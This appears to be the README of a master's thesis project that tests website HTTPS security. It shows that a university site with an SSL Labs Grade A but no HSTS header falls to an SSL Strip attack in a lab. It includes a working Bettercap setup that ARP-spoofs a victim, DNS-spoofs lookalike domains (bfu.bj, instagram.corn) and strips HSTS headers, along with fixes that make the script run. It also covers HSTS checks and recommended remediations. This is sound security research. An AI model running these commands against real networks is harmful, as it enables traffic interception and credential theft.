Методи за анализ, тест и подобряване на сигурността на уебсайтове
Methods for Analysis, Testing and Improvement of Website Security
Master's thesis research demonstrating that an SSL Labs Grade A does not guarantee full security. Practical SSL Strip attack using Bettercap proved that websites without HSTS headers remain vulnerable despite strong TLS 1.3 configurations.
bfu.bg (Burgas Free University) achieves Grade A on SSL Labs with TLS 1.3 and AES-256-GCM-SHA384, yet has no HSTS header — making it fully vulnerable to SSL Strip attacks. Meanwhile, e-services.bfu.bg (student portal) has a full HSTS header but is not actually in the browser's preload list.
This demonstrates three levels of HTTPS protection:
| Level | Example | HSTS Status | Vulnerable? |
|---|---|---|---|
| No HSTS | bfu.bg | No header at all | Always |
| HSTS header only | e-services.bfu.bg | Dynamic (cached after first visit) | First visit only |
| HSTS Preload | google.com | Static (hardcoded in browser) | Never |
1. ARP Spoofing → Attacker positions as gateway (MITM)
2. Victim request → Types bfu.bg, sends HTTP request through attacker
3. HTTPS to server → Attacker forwards request to real server over HTTPS
4. HSTS stripped → hstshijack.js removes HSTS header from SERVER RESPONSE
5. HTTP to victim → Page delivered over HTTP — browser never learns about HSTS
Key insight: hstshijack removes the HSTS header from the response, not the request. The browser never sees the header, never caches it, and stays on HTTP.
| Tool | Purpose |
|---|---|
| Bettercap v2.33.0 | ARP/DNS Spoofing + SSL Strip (hstshijack caplet) |
| Burp Suite Community | MITM proxy for HTTPS interception |
| Wireshark | Packet-level TLS handshake analysis |
| SSL Labs | Online TLS configuration grading (A-F) |
| curl | HSTS header verification |
| chrome://net-internals | Browser HSTS cache inspection (dynamic vs static) |
┌─────────────────────────────────────────────────┐
│ VMware NAT Network (192.168.112.0/24) │
│ │
│ ┌──────────────┐ ┌──────────────┐ │
│ │ Parrot OS │ │ Windows 10 │ │
│ │ (Attacker) │◄─────►│ (Victim) │ │
│ │ 192.168.112. │ ARP │ 192.168.112. │ │
│ │ 128 │ Spoof │ 129 │ │
│ │ │ │ │ │
│ │ Bettercap │ │ Firefox │ │
│ │ Burp Suite │ │ Chrome │ │
│ │ Wireshark │ │ Edge │ │
│ └──────────────┘ └──────────────┘ │
└─────────────────────────────────────────────────┘
set hstshijack.targets bfu.bg,*.bfu.bg,e-services.bfu.bg,*.e-services.bfu.bg
set hstshijack.replacements bfu.bj,*.bfu.bj,e-services.bfu.bj,*.e-services.bfu.bj
set hstshijack.ssl.check false
set hstshijack.ssl.domains /usr/share/bettercap/caplets/hstshijack/domains.txt
set hstshijack.ssl.index /usr/share/bettercap/caplets/hstshijack/index.json
set dns.spoof.domains bfu.bj,*.bfu.bj,e-services.bfu.bj,*.e-services.bfu.bj
set dns.spoof.all true
dns.spoof on
set http.proxy.script /usr/share/bettercap/caplets/hstshijack/hstshijack.js
http.proxy onecho 1 | sudo tee /proc/sys/net/ipv4/ip_forward
set arp.spoof.fullduplex true
set arp.spoof.targets 192.168.112.129
arp.spoof on| Original Domain | Spoofed Domain | Technique |
|---|---|---|
| bfu.bg | bfu.bj | Different TLD (visually similar) |
| e-services.bfu.bg | e-services.bfu.bj | Different TLD |
| instagram.com | instagram.corn | "m" → "rn" (homograph) |
# e-services.bfu.bg — HAS HSTS
$ curl -sI https://e-services.bfu.bg | grep -i strict
strict-transport-security: max-age=31536000; includeSubDomains; preload
# bfu.bg — NO HSTS
$ curl -sI https://bfu.bg | grep -i strict
(empty — no output)Querying e-services.bfu.bg shows:
static_upgrade_mode: UNKNOWN— NOT in preload listdynamic_upgrade_mode: FORCE_HTTPS— learned from visiting the sitedynamic_sts_include_subdomains: true
Conclusion: The preload directive in the HSTS header is a request for inclusion, not confirmation. e-services.bfu.bg is dynamically cached, not statically preloaded.
| Issue | Fix |
|---|---|
hstshijack.payloads — unsupported, causes crash |
Remove from caplet |
hstshijack.obfuscate — unsupported |
Remove from caplet |
hstshijack.ssl.check — must be present |
Set to false |
| Broken multiline values | All set values must be on a single line |
| Order matters | All set commands must come before http.proxy on |
netsh advfirewall firewall add rule name="Allow ICMPv4" protocol=icmpv4:8,any dir=in action=allow- Add HSTS header —
Strict-Transport-Security: max-age=31536000; includeSubDomains; preloadon the main domain and all subdomains - Fix redirect configuration — Currently
http://bfu.bg → https://www.bfu.bg(wrong). Should behttp://bfu.bg → https://bfu.bg → https://www.bfu.bg - Register at hstspreload.org — After steps 1 and 2 are completed
Implementation order: HSTS header → redirect fix → Preload registration
The SSL Strip attack window is limited to first visits:
- First visit (no cached HSTS): Browser sends HTTP → attack works ✅
- After first visit (HSTS cached): Browser upgrades to HTTPS internally → attack blocked ❌
- Preloaded site: Browser always uses HTTPS → attack impossible ❌
In Bulgaria, unauthorized access to computer systems is regulated by the Penal Code (Articles 319a-319g) with penalties of up to 3-6 years imprisonment. Always obtain written permission before conducting security testing.
This research was conducted as a Master's thesis at Burgas Free University (Bulgaria), Department of Integrated Computer Systems, 2026.
Author: Miroslav Nedyalkov
Advisor: Assoc. Prof. Dr. Kostadinov
Grade: 6/6 (Excellent)
MIT License — See LICENSE for details.